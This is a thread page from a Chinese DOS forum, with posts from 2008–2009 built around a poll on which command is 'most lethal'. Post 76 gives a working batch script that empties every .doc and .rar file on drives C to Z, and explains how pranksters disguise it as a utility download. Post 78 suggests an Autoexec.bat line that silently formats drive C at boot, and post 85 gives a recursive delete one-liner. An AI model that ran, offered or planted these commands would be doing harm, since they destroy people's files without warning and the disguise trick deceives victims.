China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-07-28 10:49
中国DOS联盟论坛 » WinPE、PowerShell及其它命令行系统专区 » [Discussion] The most lethal command View 94,512 Replies 104
Poll: [Discussion] The most lethal command (Single Choice)
fomat 133 votes · 53%
rd/rmdir 36 votes · 14.3%
deltree 9 votes · 3.6%
copy 13 votes · 5.2%
del/erase 3 votes · 1.2%
lformat 39 votes · 15.5%
其他 18 votes · 7.2%
Floor 76 Posted 2008-08-11 01:13 ·  中国 广东 汕头 电信
高级用户
★★★
DOS时空
Credits 713
Posts 348
Joined 2007-02-10 13:59
19-year member
UID 79169
Gender Male
Status Offline
@echo off
set drv=c d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (%drv%) do (
for /f "delims=*" %%i in ('dir/a-d/b/s %%a:\*.doc %%a:\*.rar') do type>"%%i"
)>nul 2>nul
pause

Damn it, this is N times more malicious than FORMAT!
It seems to be a bit off-topic; we were discussing commands, not the command line.
Test the following with caution! Those unfamiliar with this should not attempt to test its destructive capabilities!
Some pranksters convert this batch file using BAT2COM, rename it to external commands like XXCOPY or ATTR to trick people, provide it as a download attachment, and once run, the files on the D drive will be completely ruined!


[ Last edited by haiou327 on 2009-5-12 at 06:37 ]
Floor 77 Posted 2008-08-22 16:26 ·  中国 广东 广州 鹏博士宽带
高级用户
★★★
Credits 740
Posts 373
Joined 2008-05-23 14:40
18-year member
UID 119498
Gender Male
From 中国,广东
Status Offline
If you low-level format a hard drive using LFORMAT, everything will be erased, right? Why does no one choose to do that?
别看我是高级用户,其实菜鸟一个,^-^
Floor 78 Posted 2008-08-23 21:05 ·  中国 广东 广州 鹏博士宽带
高级用户
★★★
Credits 740
Posts 373
Joined 2008-05-23 14:40
18-year member
UID 119498
Gender Male
From 中国,广东
Status Offline
Actually, Format is quite useless in Windows, but in DOS, well......
It is recommended to add the following command line to the Autoexec.bat of a boot disk, along with any version of Format:
format c: /q /autotest >nul
Then, at the moment of booting, your C drive will already be erased, heh!
别看我是高级用户,其实菜鸟一个,^-^
Floor 79 Posted 2008-09-29 14:51 ·  中国 江苏 常州 电信
新手上路
Credits 9
Posts 5
Joined 2008-09-28 18:22
17-year member
UID 126909
Gender Male
Status Offline
Why is the risk page size large? I am a新手 and do not understand. I would appreciate guidance from experts.
Floor 80 Posted 2008-10-20 03:29 ·  中国 河南 郑州 联通
新手上路
Credits 9
Posts 8
Joined 2008-10-20 01:46
17-year member
UID 128804
Status Offline
I cast my vote for lformat.
Floor 81 Posted 2008-10-20 12:18 ·  中国 北京 联通
中级用户
★★
Credits 256
Posts 133
Joined 2008-09-29 13:30
17-year member
UID 126984
Gender Male
Status Offline
awdflash amiflash!!!
Floor 82 Posted 2008-11-21 10:12 ·  中国 湖北 黄石 电信
新手上路
Credits 2
Posts 2
Joined 2008-11-18 10:58
17-year member
UID 131326
Gender Male
Status Offline
Floor 83 Posted 2008-12-01 12:27 ·  中国 吉林 长春 联通
新手上路
Credits 1
Posts 6
Joined 2008-03-12 13:47
18-year member
UID 112735
Gender Male
Status Offline
Floor 84 Posted 2009-01-10 16:46 ·  中国 广东 深圳 宝安区 电信
新手上路
Credits 9
Posts 5
Joined 2008-08-27 15:15
17-year member
UID 124293
Gender Male
Status Offline
I chose lformat
Floor 85 Posted 2009-01-18 20:44 ·  中国 黑龙江 大兴安岭地区 联通
初级用户
★★
Credits 190
Posts 101
Joined 2008-11-23 14:58
17-year member
UID 131841
Gender Male
Status Offline
for /f "delims=" %a in ('dir /s /b') do del %a /q > nul
Floor 86 Posted 2009-10-08 21:42 ·  中国 山东 联通
初级用户
Credits 27
Posts 15
Joined 2006-03-17 10:12
20-year member
UID 52246
Gender Male
Status Offline
Just joining in to learn.
Floor 87 Posted 2009-11-13 11:00 ·  中国 湖北 天门 电信
中级用户
★★
Credits 208
Posts 135
Joined 2009-09-12 12:00
16-year member
UID 151902
From 离恨天
Status Offline
I believe the most dangerous aspect is that after executing these commands, any subsequent non-recovery operations performed by the user will significantly reduce the data recovery rate.
Floor 88 Posted 2009-11-30 14:35 ·  中国 湖南 衡阳 电信
新手上路
Credits 8
Posts 8
Joined 2009-11-29 21:53
16-year member
UID 155620
Gender Male
Status Offline
All are risky. The RD command clears data immediately without prompting. I haven't tested the others because I don't dare to.
Floor 89 Posted 2009-12-11 13:52 ·  中国 江苏 常州 电信
新手上路
Credits 6
Posts 4
Joined 2009-12-04 12:45
16-year member
UID 155899
Gender Male
Status Offline
Floor 90 Posted 2009-12-15 00:12 ·  中国 山东 临沂 电信
新手上路
Credits 14
Posts 8
Joined 2009-08-22 23:27
16-year member
UID 150795
Gender Male
Status Offline
Formatting is still quite intimidating.
Forum Jump: